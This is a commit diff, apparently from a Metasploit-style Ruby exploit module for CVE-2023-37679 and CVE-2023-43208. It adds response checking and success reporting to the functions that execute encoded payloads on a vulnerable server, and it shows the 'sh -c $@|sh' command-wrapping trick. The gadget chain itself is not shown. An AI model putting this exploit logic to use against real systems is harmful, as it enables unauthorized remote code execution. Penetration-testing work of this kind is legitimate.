@@ -124,12 +124,20 @@ def exploit
124
124
if target_version <= Rex ::Version . new ( '4.3.0' )
125
125
# The CVE-2023-43208 gadget chain will also work here but use the old one to verify the original vulnerability
126
126
# which did not implement the deny-list logic that was bypassed by the newer chain
127
- execute_command_cve_2023_37679 ( payload . encoded )
127
+ res = execute_command_cve_2023_37679 ( payload . encoded )
128
128
elsif target_version <= Rex ::Version . new ( '4.4.0' )
129
- execute_command_cve_2023_43208 ( payload . encoded )
129
+ res = execute_command_cve_2023_43208 ( payload . encoded )
130
130
else
131
131
fail_with ( Failure ::NoTarget , "Version #{ target_version } is not vulnerable." )
132
132
end
133
+
134
+ if res . nil?
135
+ fail_with ( Failure ::Unreachable , 'Failed to execute the payload.' )
136
+ elsif res . code != 500
137
+ fail_with ( Failure ::UnexpectedReply , 'Failed to execute the payload.' )
138
+ end
139
+
140
+ print_good ( 'The target appears to have executed the payload.' )
133
141
end
134
142
135
143
def execute_command_cve_2023_37679 ( cmd , _opts = { } )
@@ -164,13 +172,14 @@ def execute_command_cve_2023_37679(cmd, _opts = {})
164
172
'data' => xml
165
173
} )
166
174
167
- res &. code == 500
175
+ res
168
176
end
169
177
170
178
def execute_command_cve_2023_43208 ( cmd , _opts = { } )
171
179
if target [ 'Platform' ] == 'win'
172
180
cmd = "cmd.exe /c \" #{ cmd } \" "
173
181
else
182
+ # see: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html
174
183
cmd = "sh -c $@|sh . echo #{ cmd } "
175
184
end
176
185
@@ -238,6 +247,6 @@ def execute_command_cve_2023_43208(cmd, _opts = {})
238
247
'data' => xml
239
248
} )
240
249
241
- res &. code == 500
250
+ res
242
251
end
243
252
end
0 commit comments